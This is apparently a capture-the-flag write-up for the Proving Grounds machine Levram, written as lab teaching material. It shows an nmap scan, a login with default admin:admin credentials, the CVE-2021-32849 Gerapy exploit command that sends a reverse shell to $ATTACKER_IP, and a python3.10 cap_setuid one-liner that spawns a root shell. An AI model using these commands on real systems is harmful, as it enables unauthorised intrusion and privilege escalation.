# Levram Writeup - Proving Grounds

> Easy Linux box running Gerapy v0.9.7 with default admin credentials, exploited via the CVE-2021-32849 authenticated RCE for a shell as app, then escalated to root through a python3.10 binary carrying the cap_setuid capability.

- **URL:** https://hackindex.io/writeups/levram
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** gerapy, rce, capabilities, privilege-escalation, cve-2021-32849
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

Levram runs Gerapy v0.9.7 on port 8000 with the default admin credentials. That version is vulnerable to CVE-2021-32849, an authenticated remote code execution that gives a shell as the `app` user. The `python3.10` binary carries the `cap_setuid` capability, which lets it set UID 0 for root.

## Reconnaissance

### Nmap

Scan the target for open services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu
# 8000/tcp open  http    Gerapy
```

Port 8000 runs Gerapy, a Scrapy-based crawler management platform. The login accepts `admin:admin`, and the footer shows version v0.9.7, which is vulnerable to CVE-2021-32849.

## Exploitation

### Gerapy authenticated RCE (CVE-2021-32849)

A public exploit abuses the project build feature to run commands. Confirm execution with `id`, then pass a base64 reverse shell as the command.

```bash
python3 CVE-2021-32849.py -u http://$TARGET_IP:8000 -U admin -P admin -r $ATTACKER_IP -p $ATTACKER_PORT -c id
```

Rerun with a base64-encoded reverse shell as the command and catch it on a listener. The shell lands as the `app` user. Enumerate file capabilities.

## Privilege Escalation

### python cap_setuid

Search the filesystem for binaries with capabilities.

```bash
getcap -r / 2>/dev/null
# /usr/bin/python3.10 cap_setuid=ep
# /usr/bin/ping cap_net_raw=ep
# /usr/bin/mtr-packet cap_net_raw=ep
```

`/usr/bin/python3.10` has `cap_setuid=ep`, so it can set its UID to 0. Use it to drop into a root shell.

```bash
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# app@ubuntu:~/gerapy$ /usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# root@ubuntu:~/gerapy# id
# uid=0(root) gid=1000(app) groups=1000(app)
```

The `cap_setuid` capability lets python become root, giving a root shell. The `/etc/systemd/system/app.service` unit file also leaks the root password in a comment as an alternative path.

Related

## References

- [CVE-2021-32849](https://nvd.nist.gov/vuln/detail/CVE-2021-32849) - Gerapy authenticated remote code execution through the project build feature.
- [GTFOBins: python capabilities](https://gtfobins.github.io/gtfobins/python/#capabilities) - A python binary with cap_setuid can set UID 0 for a root shell.